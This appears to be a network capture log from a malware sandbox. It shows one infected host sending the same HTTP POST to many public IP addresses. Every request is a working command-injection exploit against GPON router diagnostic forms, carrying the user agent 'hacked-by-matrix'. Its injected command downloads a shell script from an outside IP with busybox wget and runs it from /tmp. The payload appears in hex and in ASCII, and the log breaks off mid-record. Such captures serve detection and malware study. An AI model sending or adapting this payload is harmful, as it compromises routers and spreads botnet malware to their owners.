Mar 21, 2024 05:16:52.969521999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	54474	212.97.79.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969569921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	37452	5.206.86.205	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969629049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	43538	178.255.144.242	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969671011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	52592	42.6.245.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969710112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	50704	94.15.29.211	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969769001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	49164	118.25.21.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969815969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	33084	2.203.1.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969861031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	41032	210.219.15.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969897985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	33502	5.100.48.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.969959021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	33366	94.23.146.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970010996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	33540	109.69.210.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970048904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	59906	118.60.235.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970177889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	58322	42.203.186.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970211029 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	35996	37.142.84.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970252037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	34288	42.71.107.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970283985 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	52984	178.12.219.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970324993 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	46218	210.144.158.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970364094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	45526	79.63.196.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970393896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	50226	118.114.153.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970439911 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	56506	42.79.83.131	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970489025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	51128	79.118.180.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970514059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	37950	5.224.158.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970555067 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.23	37358	2.84.174.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970604897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.23	45336	79.53.254.71	443

Timestamp	Bytes transferred	Direction	Data
